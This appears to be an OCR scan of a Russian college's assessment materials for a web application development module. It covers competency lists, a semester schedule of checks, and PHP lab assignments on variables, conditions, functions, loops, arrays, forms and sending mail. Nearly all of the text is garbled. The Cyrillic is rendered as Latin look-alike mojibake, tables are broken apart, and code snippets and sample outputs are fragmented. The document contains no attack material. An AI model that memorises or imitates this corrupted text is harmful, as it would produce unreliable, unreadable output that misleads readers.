[TpuHIMIBI OpraHu3auy  paboThl CIY>KOBl TEXHHUYECKOU
TIOIJICPIKKH.




OO01re OCHOBBI pelIeHUs] MPAKTUYECKUX 3a/1ad M0 CO3JaHUI0
PE3EPBHBIX KOUM.

IIK 9.5. | [IpousBoauth IIpakTHyeckuii ONbIT:
TECTUPOBAHUE Hcnonp30BaTh  MHCTPYMEHTANbHBIE CpPEACTBA  KOHTPOIIS
pa3zpabotanHoro  BeO | Bepcuil u 0a3 JaHHBIX, ydeTa JeEKTOB.
MIPUIIOKEHUSL. TectupoBaTh BEO-IIPUIOKEHUS C TOUYKU 3PEHUS JOTHYECKON
LIEJIOCTHOCTH.
TecTrpoBaTh HHTErpanuio BeO-NPHIOKEHHUS C BHEIIHUMU
CEPBHUCAMM U YUYETHBIMU CUCTEMAMH.
Ymenus:
BbBINOMHATE OTNIAAKY U TECTUPOBAHUE MTPOrPAaMMHOTO Koja (B
TOM YHUCJIE C UCTIOTB30BAHUEM HHCTPYMEHTAIBHBIX CPEICTB).
BbInonHATE ONTUMHU3ALUI0 UM PePaKTOPUHI MPOrPAMMHOIO
KOJa.
KoaunpoBaTh Ha CKpPUINITOBBIX SI3bIKaX MPOrPaMMUPOBAHMSL.
TectupoBathb BEO-MIPUIIOKEHUST  C HCIIOJIb30BaHNEM
TECT-IJIAHOB.
[TprMeHSITh UHCTPYMEHTHI MOJATOTOBKH TECTOBBIX JAHHBIX.
BeiOupate M KOMOMHMpPOBaTb TEXHMKH TECTUPOBAHUS
BEO-TIPHITOKEHU.
PaboraTe ¢ cuctemMamMu KOHTpOJISI BEPCHI B COOTBETCTBHH C
pEeraaMeHTOM UCTOIb30BAaHUSI CUCTEMBI KOHTPOJIS BEPCHIA.
BEITONHATE TIPOBEPKY BEO-TPUIIOKEHUS MO0 TEXHHUYECKOMY
3aJIaHUIO.
3nanus:
CereBble NPOTOKOJIBI U OCHOBBI Web-TEXHOJIOTHA.
CoBpemMeHHbIE ~ METOJUKH  TECTUPOBAHUS  SPrOHOMHUKHU
HOJIb30BATENbCKUX HHTEP(ENCOB.
OcHOBHBIE  NPUHIUIOBl  OTIAJAKM U TECTUPOBAHUS
IIPOIPaMMHBIX IIPOAYKTOB.
Metoapl opraHuzanuu padboThl IPU MPOBEACHUH IMPOLELYP
TECTUPOBAHUS.
B03MOXHOCTH HCIIONB3yEMON CUCTEMBI KOHTPOJS BEPCHU H
BCIIOMOTATENbHBIX ~ WHCTPYMEHTAIBHBIX  MPOrPaMMHBIX
CpelCTB i 00pabOTKM HCXOJHOTO TEKCTa MPOrpPaMMHOIO
KOZA.
PernamMeHT UCIIONB30BaHUS CUCTEMBI KOHTPOJISI BEPCHIA.
[Ipenmetrnyro  o0sacTb  MpoOEKTa Ui COCTaBJICHUS
TECT-IJIAHOB.
[IK 9.6. | Pa3amemats BeO | [IpakTHYecKuii ONBIT:
npuwioxkeHus B cetu B | [lyObnmukoBaTh BeO-mpuiiokeHHs Ha 0a3e XOCTHUHTAa B CETH
COOTBETCTBUU c | Murepner.
TEXHUYECKUM VMeHna:
3a/laHACM. BbIOMpaTh XOCTMHI B COOTBETCTBHM C IapamMeTpaMu
BEO-TIPUIIOKEHHUS. CocTaBnsTth CPaBHUTEIbHYIO
XapaKTEPUCTUKY XOCTUHIOB.
3Hanus:
XapakTepUCTUKH, TUIIBI U BUABI XOCTUHIOB.
MeTos! 1 criocoObl iepeaaun nHpopmanuu B cetu IHTEpHET.
YeTpolicTBO ¥ pabOTy XOCTHHT-CUCTEM.
K 9.7. | OcymectBasate  cOop | [IpakTnyeckuii onpIT:
CTaTUCTUYECKOU Peanu3oBsiBaTh MEPOIPUATHS 1o IIPOJBUIKEHUIO

nHpopmanuu o pabore

BeO-TIpHIIOKEHUH B ceT VIHTepHeT.




BeO-mpmnoxenud st | Cobupatpb u MpeABAPUTEIILHO aHAJIM3UPOBATH
aHamm3a CTaTUCTHUYECKYIO HH(POPMAIHIO O paboTe BEO-TIPHIIOKEHHIA.
a¢ddexTuBHOCTH ero
paboTHL. Y MeHHS:
[ToakmrouaTh ¥ HacCTpauBaTh CUCTEMBI MOHHTOPUHTA PaOOTHI
Be6-nipunosxenuit 1 cOopa CTATUCTUKH €r0 UCTIOIB30BaHUS.
CoCTaBIATh OTYET 10 OCHOBHBIM MTOKA3aTEISIM UCITOJIH30BaAHUS
Be6-npunoskennii  (peHTHHT, WCTOYHMKH W TIOBEJCHHE
M10JIH30BATENICH, KOHBEPCHS U JIP.).
3HaHus:
OCHOBHBIE TTOKa3aTeIN HCIONIB30BaHUS BeO-npriiokeHui u
crocoOblI MX aHan3a.
Bunplt w  Meroasl pacyeTa HMHACKCOB  ITUTHPYEMOCTH
Be6-npmnoxennit (TUL, BULL).
[IK 9.8. | OcymectBasate ayaut | [lpakTnyeckuii onpIT:
0€30MacHOCTH O6ecneunBath 6e30macHyo 1 Oecriepe0oiiHyro padoTy.
BEO-TIPHIIOKEHUS B | YMeHus:
COOTBCTCTBHH C | OcymIecTBIATh Ay IUT 0€30MIACHOCTH BEO-TIPUITOKCHHH.
periraMcHTaMu 10 | MonuduipoBarh BeO-TIPHIOKEHUE C I1IEJIbI0 BHEIPCHUS
0€e30macHOCTH. MPOTrPpaMMHOTO KOJia TO OOEeCIeYeHHI0 OEe30MacHOCTH €ro
pabOTHI.
3HaHus:
Hctounuku yrpo3 uHGOpMAMOHHON 0€30MacHOCTH M Mepbl
0 MX MPEAOTBPAIIECHUIO.
Pernmamentst u  MeTOABI  pa3palOTKM  Oe30MacHBIX
BEO-TIPUIIOKECHUI.
1K 9.9. | MonepHusupoBath IpakT4yeckmnii ONbIT:
BEO-TIPIIIOKEHUE ¢ | MonepHu3upoBaTh BEO-MPUIIOKEHHS C YUYETOM MTPaBUI U HOPM
y4eTOM MPaBWJI U HOPM | MOATOTOBKH MH(OPMAIIMH JUIS TOMCKOBBIX CHCTEM.
MOJITOTOBKU Ymenus:
uH(popManuu g | MonudunupoBath Koa BeO-TPUIOKEHUS B COOTBETCTBUU C
MTOMCKOBBIX CHCTEM. TpeOOBAHUSIMHU U PETIaMEHTAMU ITOUCKOBBIX CHCTEM.
Pa3memars TekcToBYr0 U Tpadudeckyro WHGOPMAIUIO Ha
CTpaHHUIaX BEO-TPUIIOKECHHUS.
PenaktupoBate HTML-k0oag ¢  HUCIOIB30BAHMEM  CHUCTEM
aIMUHUACTPUPOBAHMUS.
IIpoepsate HTML-k0o1 Ha COOTBETCTBHE OTPAaCIIEBbIM
CTaHJapTaM.
3HaHus:
OcobeHHOCTH pabOTHI CUCTEM YMPABIICHUS CAUTaMH.
[TpuHUnbl  (GYHKIMOHUPOBAHUS ITIOUCKOBBIX CEPBHCOB H
OCOOCHHOCTH ONTUMHU3AIMU BeO-mpunokeHnid mox  HHUX
(SEO).
Metoapl onTUMU3aNKK BeO-npuiiokeHU o COIMaIbHbIC
Meaua (SMO).
I1K 9.10. | PeanuzoBsiBaTh IpakTn4yeckunii ONbIT:
MEpOTIPUSIITHS o | Peanu3oBbiBath MEpOTPUSITHS o MIPOJIBH>KEHHIO
MTPOJIBMKCHHIO BeO-TIpHIIOKEHUH B ceT VIHTepHeT.
BEO-TIPUITOKCHUIA B | Cobupats u MpeABAPUTEIILHO aHAJIN3UPOBAThH

cetu MHTEpHET.

CTATUCTUYECKYI0 HHPOPMAIIHIO O pab0oTe BEO-TTPHUIIOKEHHU.

Ymenus:

[TonkitouaTs U HACTPaWBaTh CUCTEMbl MOHUTOPHHIA pabOTHI
Be6-nipunoskenuii u cOopa CTATUCTUKH €0 HUCIIOJIb30BaHUSI.
PaboTaTh ¢ cucTeMaMu IPOABUKEHUS BEO-TIPUIIOKEHUI.




[Ty6mukoBaTte  wH(pOpManuu 0  BEO-IPHIIOKEHUU B
CHeNHATbHBIX CIIPAaBOYHHUKAX U KaTajorax.

OcyniecTBisTh MOAOOP M aHAU3 KITFOYEBBIX CJIOB U (pa3 s
COOTBETCTBYIOIICH MPEIMETHONW O0JIACTH C MCIOJIB30BAHUEM
CHEIUATH3UPOBAHHBIX MIPOTPAMMHBIX CPEIICTB.

CocCTaBIsATh TEKCTHI, BKIIIOYAIOIINE CCHIIIKM Ha MPOIBUTAEMBIN
CaiT, 71 pa3MEIIeHUs Ha caiiTaX MapTHEPOB.

OcCymiecTBIATh  ONTHMU3ALUIO BEO-TIPHIIOKEHHUST C  IIEITBIO
TIOBBIIIICHUS €0 PEUTHHTa B CETH HHTEPHET.

3nanus:

[TpuHIUIIB PYHKIIMOHUPOBAHUSI IOMCKOBBIX CEPBUCOB.

Bunet w  MeTomel  pacuera HMHJICKCOB  ITUTHPYEMOCTH
BeO-nipminoxenuit (THULL, BUL).

CrpaTeruu mpoABIKECHUS BEO-IPUIIOKCHH B ceTH VIHTEepHET.
Buipl TOMCKOBBIX 3aITPOCOB IMOJIL30BATENICH B UHTEPHETE.
[IporpamMMHuble cpenactBa W IuargopMbl g 1oadopa
KJTFOYEBBIX CJIOBOCOYCTAHUH, OTPAXKAIOIINX CIICHU(UKY caiTa.
HMHCcTpyMeHTHI cOopa M aHAJIM3a TIOMCKOBBIX 3aIIPOCOB.

1.3. Iloka3zaresim OLEHKHM Pe3yJbTATOB O00yudyeHHss Mo mnpodeccuoHaibHomy moayaw I[1M.03
IIpoexkTHpoBaHue, pa3padoTKa M ONITUMM3ALNS BeO-NPUJIOKEHUIT

HaumenoBanue
Conep:kanue Pe3yabTaTnl
OLIEHOYHOI0
npogdeccuoHaIBLHOI0 00yueHus Bua konTpoJs / a
Moy.ist (OK, IIK, JIP) cpencTa/gopm
KOHTPOJISA
MJIK.03.01 IIpoexTHpOBaHUE U pa3padoTka BeO-NPUJIOKEeHHUI
3 cemecTp
Tema 3.1.1 OK 01. - 09. IIpoBepka BBITIOTHEHUS
Pa3pabotka cereBbIx [IK 9.1.-9.6 . VH/AMBU1yaJIbHOTO
. Tekymmit N
MIPUII0KEHUN JP1,2,7,9,13, 3a7aHus. Y CTHBIA OMpoC
16-18, 21-25
Tema 3.1.1 OK 01. - 09. KonrponsHas padora
K 9.1.-9.6 I .
JIP 1,2, 7.9, 13, POMEXYTOUHBIN
16-18, 21-25
4 cemecTp
Tema 3.1.1 OK 01. - 09. IIpoBepka BBIIOJIHEHUS
Pa3paboTka ceTeBbIX 1K 9.1.-9.6 Tekymmit MHAHBHYalIbHOTO
R AN—— JP1,2,7,9,13, 3aJlaHusl. Y CTHBIN
16-18, 21-25 OIIpoC.
Tema 3.1.1 OK 01. - 09. 3anmra KypcoBOu
I[IK 9.1.-9.6 n . paboTbl, JK3aMeH
P 1,2.7.9, 13, POMEXYTOUHBIN
16-18, 21-25
MJK. 03.02. OnTuMu3anusi BeO-npuJaoKeHu i
5 cemecTp
Tema 3.2.1 Metoasl OK 01. - 09. IIpoBepka BBITIOTHEHHUS
OIITHMHU3AINU BEO - 11K 9.7, IIK 9.9, IIK WH]JIUBUYaTbHOTO
MIPUIOKEHUN 9.10 Texymmui 3a1aHus. Y CTHBIN ONPOC
JP1,2,7,9,13,
16-18, 21-25
Tema 3.1.2 OK 01. - 09. n . Kontposnbnas padota
MK 9.1.-9.6 POMEKYTOUHBIN




JP1,2,7,9, 13,
16-18, 21-25
6 cemecTp
Tema 3.2.1 Mertoabl OK 01. - 09. [IpoBepka BBIIOTHEHUS
ONTHUMM3AINH BeO - IIK 9.7, IIK 9.9, IIK VHAUBUAYaTBLHOTO
NPUIIOKEHUN 9.10 Texkymuii 3a/1aHusl. Y CTHBIM onpoc
JP1,2,7,9,13,
16-18, 21-25
Tema 3.2.1 OK 01. - 09. 3a4eT C OIEHKOM
1K 9.7, 11K 9.9, TIK
9.10 [TpomexyTouHbIi
JP1,2,7,9,13,
16-18, 21-25
MJK. 03.03 O6ecnieuenue 6€30MACHOCTH BeO-NPUJIOKEHU I
5 cemecTp
Tema 3.3.1 OK 01. - 09. IIpoBepka BBITIOTHEHUS
Texnonoruu K 9.8 VH]JIUBUYaJTbHOTO
obecrieueHust JP1,2,7,9,13, Tekymmit 3a7aHus. Y CTHBIM OMpOC
0e301acHOCTH 16-18, 21-25
BEO-IIPHITOKESHHI
Tema 3.3.1 OK 01. - 09. KonTponbaas pabora
I1IK 9.1.-9.6 n N
P 1,2.7.9, 13, POMEXYTOUHBIN
16-18, 21-25
6 cemecTp
Tema 3.3.1 OK 01. - 09. [IpoBepka BbINIOJIIHEHUS
Texnonornu TIK 9.8 WHIAVWBUIYaJIbHOTO
obecrieueHust JP1,2,7,9,13, Texymmit 3a7aHus. Y CTHBINA OMPOC
0e30ImacHOCTH 16-18, 21-25
BEO-IIPHIIOKECHHI
OK 01. - 09. 3ayeT ¢ OLEHKOI
Tema 3.3.1 P 1{_[21? ?’89’ 13, [IpomexxyTouHbIN
16-18, 21-25

CucreMa KOHTPOJISAA U OLEHKHU Pe3yJIbTATOB OCBOEHUS] MPAKTHYECKOr0 ONbITA, YMEHHUIi U YCBOEHUSI
3HAHUH

B coorBerctBUM ¢ yuyeOHBIM IIaHOM IO npodeccroHanbHoMy moayito [IM.03IIpoexktupoBanue,
pa3paboTKa M ONTUMHU3ALMS BEO-MPUIOKEHUHN MPETyCMOTPEH TEKYIIUA KOHTPOJb BO BpPEeMs MPOBEICHUS
3aHITHIA ¥ MPOMEKYTOUYHAsI aTrTecTanus B dopme nuddepeHImpoBaHHOTO 3a4eTa, KYpCOBOrO MPOCKTa, C
BBICTABIIEHHEM UTOTOBOM OLIEHKH 32 BECh KYpC.

2. 3agaHus A9 KOHTPOJISI M OLIEHKHU Pe3yJIbTATOB OCBOECHHSI IPAKTHYECKOI0 ONbITA, YMEHUI 1
YCBOCHUSA 3HAHUH
3a0anus Onsi KOHmMpONsL U OYEeHKU pe3yIbmamo8 OCB0€HUs NPAKMUYECKO20 ONblmd, YMeHUll U
YCBOEHUs 3HAHULL NO Y4eOHOU NPAKMuKe U no NPOU3800CMBEEHHOU NpaKmuke (no npoguito cneyuarbHoCmu)
NPeOCmasieHbl 8 NPOSPAMMAX NPAKMUK.
2.1. 3aganus 1js TEKyILIEro KOHTPOJIA

IIM.03ITIPOEKTUPOBAHUE, PASPABOTKA U OIITUMHU3ALIMA BEB-IIPUJIOKEHUI
MJIK.03.01 TIPOEKTUPOBAHHME U PASPABOTKA BEB-IIPHJIOKEHUI
Tema 3.1.1 PazpatoTka ceTeBbIX NPHJIOKEHUH
JlabopaTropnasi padora 1 «Co31aHue cepBepHBIX CLIeHAPHEB C UCNO0JIb30BaHUeM TexHosoruu PHP»

[lenb: n3yuyeHne OCHOBHBIX KOHCTpYKIUH s13b1ka PHP.
XO/J PABOTHI:



3amanue Ne 1. M3yuurh koHcTpykuumu sizbika PHP, omepaTopbl mpucBamBaHusi, omepaTopbl BbIBOJA.
[MonroroButs B briokHOTE WM B JI000M TEKCTOBOM PENAKTOPE MPOTPaMMYy, BBHIIOJIHSIOIIYIO CIIEAYIOIINE
IICUCTBU:
eco3maTh TpPU TEpeMeHHble ¢ Ha3BaHueM ToBapoB ($productl, $product2, S$product3) wu
COOTBETCTBYIOIIME UM IIEpeMEHHbIC ¢ 1IeHoi ToBapoB ($pricel, $price2, $price3), BrIBECTH UX HA IKPaH;
® PacCUMTATh U BBIBECTH CPEIHIOIO IICHY TOBapa.
[TpumepHbIil BUI BBIBO/IA HAa SKPaH pe3yibTaTa paboThl MPOrpaMMBbI IPECTABICH HA PUCYHKE.

yaiHuK == 300pyb
kodeiinuk == 150pyh
KHIATHILHHE == 2/ 0pyb

CPENHAA IEHA ToEapoE=240pyh

[IpoTecTupoBath nporpaMmy ¢ pa3IMYHBIMUA 3HAUCHUSIMU TIEPEMEHHBIX.
OdopMuTh BBIBOJ AAHHBIX O TOBapax B BuJe Ta0nuilbl. Hanpumep, kak nmoka3aHo Ha pUCYHKE.

Torap [{eHa
YaifHHUK 1503

kodeitnuk 1120

KUIIATHUIBHUK 220

cpensad ueHa 1311.50 pyo.

st opopmireHust TabIUIIBI TOMECTHTH TATH TaOJIHUIIBI B oriepaTop BbiBoja (echo uiu print). HoBwlif BapuaHT
MIPOrPaMMBbI COXPAHUTH B (aiiiie ¢ APYTuM UMEHEM.

Hcnonb3oBath mist tTabmuyHoro BeiBoga HTML Omoku. [[ns BhIBOJA NMEPEMEHHBIX B TAITH HEOOXOIUMO
BKITIOYHUTH ()parMeHThI porpamMMbl. COXpaHUTh (aii.

3apanune Ne 2. M3yunth ycnoBHbIe HHCTPYKIHH if, else, elseif. [ToaroToBuTh Mporpammy 11t OnpeaeneHus
CaMoro JOPOroro U3 TPeX TOBApOB. 3a OCHOBY B3ATh (aiin u3 3ananus 1. CpaBHUTH IICHBI TOBAPOB U BEIBECTH
HAaUMEHOBAaHHME M LIEHYy CaMOro aopororo toBapa. CompoBOIWTH BBIBOJ PE3yJIbTaTa COOTBETCTBYIOLIUM
COOO0ILIEHUEM.

CpaBHUTH IIeHY NEPBOTO TOBapa C LIEHAMU BTOPOTO U TpeThero ToBapoB. Eciu oHa oxaxkercs Oouiblie
yafinuk == 300pyb
kobeiinur == 150pyb
EHOATUIRHHE == 260pyh

caMied goporod vaismk (o cTonT 300pyh )

c(OpMHUpPOBATH BCIIOMOTATEIILHYIO TIEPEMEHHYI0, HanpuMmep $max_prise, paBHyIO IIEHE MEPBOro ToBapa M
$max product, paBHyr0 HAMMEHOBAHHUIO NIEPBOTO TOBapa. B MpOTHBHOM cllyyae CpaBHUTH IICHBI BTOPOTO U
TPETHETO TOBAPOB (MCIOIB30BaTh KOHCTPYKIHIO elseif u else) u 3ammcaTh BO BCIOMOTaTeIbHBIC IIEPEMEHHBIC
COOTBETCTBYIOIIME JaHHbIE. BbIBecTH BcrmomoraTenbHble NepeMeHHble. IIporectupoBaTh mporpamMmy c
pPa3IMYHBIMU 3HAYECHUSMH IEPEMECHHBIX.

Onpenenuts TOBap ¢ MUHUMAJIBHOW LIEHOW. PemmuTth 3a1auy, METOIOM '"BBITECHEHUs', UCIIONb3YS TOJIBKO
koHCcTpyKIuio if. Bo BcrmomorarenbHbie mepeMentbie $max_prise u $max  product cpasy 3amnucath JaHHBIEC O
nepBoM ToBape. [locnenoBarenbHO CpaBHUTH LIEHBI BTOPOTO U TPETHETO TOBAPOB CO 3HAYEHUEM, 3aITUCAHHBIM
B nepeMeHHOW $max prise (koHctpykims if). Eciu neHa okakeTcss MEHbIlle 3HAYCHHS 3alMCaHHOTO B
nepeMeHHol $max_prise, mepeonpenenuTh nepeMeHHble $max prise u $max_ product. IIporecTupoBarhb
porpamMmy € pa3InYHbIMHU 3HAYCHUSMU TTEPEMEHHBIX.

3aganue Ne 3. M3yuuth mMarepuansl o padote ¢ ¢pyHkiusamu. OdhopMuth peiieHue 3anadu 3aaanus 2 ¢
MOMOIIBIO (PYHKITHH, ONPEACIISIONIEH TOBap ¢ MaKCHUMajdbHOW IieHOW. DyHKIHS IOHKHA UMETh IIECTh



dbopManbHBIX BXOAHBIX IMApaMETPOB: TPU IEPEMEHHbIC, XpaHSIIHEe HAUMEHOBAHHS TOBAapOB, U TpPH
MEPEMEHHBIC, 33JAI0IINEe UX CTOMMOCTh. BBIBOJ MICKOMBIX JaHHBIX MPOU3BOAUTH BHYTPU PyHKImH. [Tocme
onucaHus GYHKIUHU BbI3BATh €€ HE MEHEE TPEX pa3 ¢ pa3InYHbIMU 3HAYCHUSIMH (PAKTUUECKHX TapaMeTPOB.
[MoaroroButs aiin, obecreynBarONIMii MPOBEPKY MPAaBUILHOCTA BBOAA Mapois. J[eHcTBus 1o mpoBepke
HapoJIsl TOJKHBI BBITIOJTHATHCS C MOMOIIBIO MOJIB30BATEIBCKON (PYHKIIMHU C OJTHUM BXOJHBIM apryMEHTOM.
OyHKIMS TOJDKHA CPAaBHUBATH Mapoib, 33JlaHHBIM BHYTpH (DYHKIHUHU, C mMapoiieM, MEepeJaHHbId el uepe3
apryMeHT. Pe3ynbrar cpaBHeHHs BbIBeCTH B BUie TeKcTa: "[lapons Bepubiit" min "Omudka B maposie”. BeiBoj
COOOIIEHHUsT TOJKCH TMPOU3BOAUTHCS BHYTPH Tena (GyHKIuU. [IpoTecTupoBaTh mporpamMmy ¢ pasIuIHBIMU
3HAYEHUSIMH MapOJIs.
MonudunupoBars mporpaMmy Tak, 4TOOBI BbI30B (DYHKIIMU BBIMIOJIHSJICS B onepaTope BbiBoaa. Hampumep,
ecnm uMs pyHknuu control($p), To ee Br30B: print control("1234"). BHyTpu Tena GyHKIMU HCIOIB30BAThH
HHCTPYKIUIO return.
3amanue Ne 4. M3yuuthe martepuanbl, oTHOCAIIMUECS K opranu3anuu 1nukioB B PHP. IloaroroButs Tekct
porpamMMBbl JJIs pelieHus cienyromien 3agaun. [lycts ctoumocts ToBapa paBHa 100 p. B Hayasie TEKyIIero
rona. IlpomeHT wHGuAIMU B 3TOM roay 1o mnporHo3am coctaBuT 10 %. B mocnemyromme romap
IIPOTHO3UPYETCS YBEIMUCHHE MpolieHTa nH(Ismun Ha 3,5 % B roa. C HOMOIIBIO IUKINYECKON TPOrpaMMBbl
BBIBECTH IIPOTHO3UPYEMYIO CTOMMOCTB TOBapa K KOHIYy TEKYIIIEro ro/ia U B rocieayomue roasl. [lpekpatuth
pacueTsl, KaK TOJIBKO CTOMMOCTh ToBapa mpeBbicut 150 p. Mcnons3oBath mukn while.
Pemuth Ty ke 3amauy ¢ momoiuipio 1ukia for. BeiBecTu MporHo3upyemMyr0 CTOMMOCTb TOBapa K KOHILY
TEKYIIeT0 ToAa M B mocienymomme 5 ner. BeiBon odopmuts B Buae Tabmunsl 'O => IHEHA =>
NH®DJSNSA. MoaudunupoBaTs Gdaiia s pemeHus cieayromed 3amadd. I[lycTe mpu TOCTHKEHUH
croumocti ToBapa 170 p., MHGIANMS HAYHET CHHXKAThCA Kaxapld roa Ha 3,5 %. CoporHo3upoBaTh
CTOMMOCTH TOBapa uepe3 10 jer.
3aganue Ne 5. 3yunth OCHOBBI pa0OTHI C MaccuBamMu. [10rOTOBUTH TEKCT MPOTPAMMBI, BBITIOTHSIOMIEH
CIeyIoIIne JeHCTBUS:
®CO3/1aTh CHHUCOK (MHAEKCHUPOBAHHBIM MAacCHB), COCTOSIIIMKA W3 TSATH HAaWUMEHOBAHHWI TOBAapOB C
nomouibio GyHKIuM array();
e 100aBUTH €I1I€ HE MEHEE JIBYX JIEMEHTOB MacCHUBa C MIOMOIIBIO HACHTH(HUKATOPA MaCCHBA;
® ONpEACNUTh KOJIWYECTBO AJIIEMEHTOB MAacCHB, HUCIONB3YysA (yHKUHIO count(), U BBIBECTH HA3BAHUS
TOBapoB B 1uKJe for.
[IporectupoBath paboTy MPOTPaMMBI C PA3IUYHBIM KOJTHMYECTBOM 3JIEMEHTOB MAaCCHBA.
MoaudunupoBaTs mporpammy, 100aBHB COPTHUPOBKY MacChBa B aJI(aBUTHOM MOPSJIKE HAMMEHOBAHUU
TOBapoOB (KCMOIB30BaTh PYHKIHIO sort). BriBecTH Ha 3KpaH UCXOAHBINA MAaCCHB M PE3YJIbTAT COPTHPOBKH.
3apanmne Ne 6. [logroroButh mporpammy ajisi 00paOOTKH acCOMAaTUBHOTO MaccuBa. lIporpamma momxHa
obecrneunBaTh CIeayromiee:
e co3ath acconuartuBHbl MaccuB: TOBAP => [IEHA, rne HazBanue ToBapa — 3TO KIt04U (MHAEKC)
MaccCHBa, a lIeHa — 3HaYeHUs JIEMEHTOB MaCcCUBa;
® MacCHUB JIOJDKEH COJEp)KaTb HE MEHE MATHU 3JIEMEHTOB, TPU M3 HUX 33/1aTh C MOMOUIbIO (PYHKIIHH
array(), a OCTaJIbHBIC 33/1aTh HETIOCPEJCTBEHHO B OTIEPATOPE MPUCBANBAHNS,
® BEIBECTH TOBAPHI U UX IIEHBI, UCIIONB3Ys onepatop nukia foreach().
[TporecTupoBaTh paboTy MpPOTrpamMMbl C Pa3IUYHBIM KOJIMYECTBOM 3JIEMEHTOB MAacCHBa, T00AaBHB HX
JH00BIM CIIOCOOOM.
MonudunrpoBath IporpaMMy ISl peIICHHsI CISAYIONNX 3a/1a4:
® [10/ICUUTATh KOJUYECTBO TOBAPOB U UX CYMMAPHYIO CTOUMOCTH;
® OTCOPTUPOBATH MACCHB:
—B MOpsAJKe yObIBaHMs (BO3pacTaHUs) LIEHBI TOBapa W BBIBECTH HA dKpaH. Mcmonp3oBaTh (GyHKINU
asort() u arsort().
— BBITIOJIHUTH COPTHUPOBKY MacCHBa TaK, YTOOBI TOBAaphl (KIIOYH) PACIOIOKWINCH B aI(PaBUTHOM
MOPSIIKE JJIST Yero UCIoIb30BaTh pyHKImu ksort() mmm krsort().
3aoanue Ne 7. Co3naiite php-CKpUNT, BBIBOISIINN CTpaHUILY ¢ (hOPMATUPO-BAHHOU CPEICTBAMHU PA3METKH
HTML undopmarueii o Bac Kak 0 pa3padoTUuKe.
3aoanue Ne 8. Co3naiite php-CKpHUIIT, TEHEPUPYIOMIUK CTPAaHUIy ¢ TaOIU-IIel OCHOBHBIX 1BeToB HTML.
VYKa3aHMs: MHTEHCUBHOCTU KPAcCHO-TO, 3€J€HOr0 M CHHEro LBETOB MPUHUMAIOT IIECTHAIIATEPUUYHbBIE
snauenus 00, 33, 66, 99, CC, FF. lna npeoOpa3oBaHus MEXIY IECSI-TUYHBIMU U IICCTHAIATCPUIHBIMHU
YUCJIOBBIMH 3HAYCHHUSMH UC-TIOJIb3YyHTe cTanmapTHbie pyHkimu dechex, hexdec.



3aoanue Ne 9. PeanusyiiTe CKpUIT, TEHEPUPYIOIINUNA U BBIBOJISAIINN B Opay-3ep CilydalHbIe Yucia 0 TeX Mop,
oKa MX CyMMa HE cTaHeT OOJibIlle WM paBHA 3aJaHHOrO 3HadeHWs $n. YkazaHue: Ui TeHepaluu
TNICEBJIOCITYYAHOTO LIEJIOTO YKCiia, IPUHAIJISKAIIEro quamna3ony [$min,$max], ucrnons3yiite cTanaapTHYIO
¢dyukuuio rand($min,$max).

JladopaTopHasi padora 2 «O0padoTka JaHHBIX HA (popme»

Llenn: n3yueHne OCHOBHBIX KOHCTPYKIUH si3pika PHP 1t paGotsl ¢ hopmamu.
XO/J PABOTHI:
3aganue Ne 1. VM3yuuTh Marepualibl, colepsKallie TEOPETUUYECKHE CBEJICHHUS 00 opraHu3anuu paboThl C
dbopmamu B si3p1ke PHP.
3amanue Ne 2. [1oAroTOBUTH TEKCT IPOTPAMMBbl, BHIMOJHSIOMIEH CICTYIOIINE T1CHCTBUS:
co3nath html-mokyment, coaepxkamuii Gopmy ¢ noimsmu ®.M.0., Anpec, Email, Ilapoasr u nepenath
BBEJICHHBIE JaHHbIE 1711 00paboTKU php-miporpaMMe —1j1sl BBIBOJA TaHHBIX Ha SKPaH.
[IporectupoBats paboTy mporpamMmsel. Pemmrh Ty ke 3a1ady, HO C IIOMOIIBIO OHOTO (aiina.
[TpoBepuTh paboTOCIOCOOHOCTH TPOTPAMMBI.
3apnanme Ne 3. IloaroroButh mporpammy Juisi pelieHUs aHAJIOTMYHOW 3aJa4M, HO MPOBEPSIOLIEH Mapoib
MOJIb30BaTeNsl, BBOJUMBINA depe3 moisie (GopMbl. 3HaUE€HUE MPAaBUIBLHOTO Mapojs 3a7aeTcs BHYTPU TEKCTa
nporpaMMbl. COXpaHUTh TEKCT MPOTpamMMbl B (haiijie U MPOTECTUPOBATH €¢.
MonudunupoBath nporpamMmmy Tak, YTOObI B CIy4yae BBOJA MPABHIIBHOTO MApOJsi, IPOUCXOIIII MIepexo] Ha
JPYTO# (haiiyl ¢ TEKCTOM I03IpaBICHUS.
3ananue Ne 4. [ToarotoBuTh (haitst 1715 OTIPaBKH AIEKTPOHHOTO MchMa. Daiii 1oJDKeH coaepkarh Gopmy, B
KOTOPOH PacroIOXKUTh 4 3JIeMEHTa C COOTBETCTBYIOIIMMHA KOMMEHTapUSIMU:

® TEKCTOBOE ToJie (text) c UMeHeM to;

e TeKCTOBOE ToJIe (text) ¢ uMeHeM subject;

® TEKCTOBYIO 00JIacTh (textarea) c MIMEHEM message;

e kHOTKA (submit) ¢ umeHem mail ok.
Hannbie u3 ¢opmsl niepeaats MerogoM POST ckpunty, ¢ ¢yHKIHEH OTIPaBKH COOOIICHUS U MPOBEPKOU
MPaBUILHOCTH OTIIPABKU MUCHMA.
Toscuenus k npocpamme omnpasieHus: 2J1eKmpoOHHO20 NUCbMA
J11s IpoCTOTHI 00PAaOOTKH IaHHBIX, TOJYYCHHBIX U3 ()OPMBI, HA30BEM COOTBETCTBYIOIIHUE ITepeMeHHbIe: $to,
$subject u $message. 3arem nHDOPMAIHIO U3 3TUX TIEPEMEHHBIX OYIEM UCTIOIB30BATh JUIS OTIPABKH MTHChMa
Ha ajgpec e-mail, ykasaHHbBIN B iepeMeHHoM $mail.
OTtmpaBka mucChbMa MPOU3BOJAMUTCS C IIOMOIIBIO yHKIMH mail():
bool mail ( string $to , string $subject , string $message)
®yukiusa Bo3ppaiaeT 3HaueHue TRUE ecnu mouta otnipasiena u FALSE B npotuBHOM ciiydae. Tak kak npu
paboTe C JIOKAJIbHBIM XOCTHHTOM OIpaBKa MUCbMa HE MPOU3BOIUTCS, MPOBEPKY MPABUIBHOCTH NEpeaaydn
MUChbMa MOYKHO BBITIOJTHUTH C MMOMOIIBIO oriepaTopa If 1 BIBECTH COOTBETCTBYIOIIEE COOOIIEHNE Ha SKPaH.
Ilpumep npocpammvl 051  OmMnpasKu  2NEKMPOHHO20 <7
nucoma $go=$_POST['mail_ok'];

if(!$ge)

3apanue Ne 5. Hamucare mnporpamMmy-KaJbKyJsiToOp, g}
KOTOpasi O3BOJIUT IMOJIb30BATENIO MEepeaTh J1Ba Yucia U °
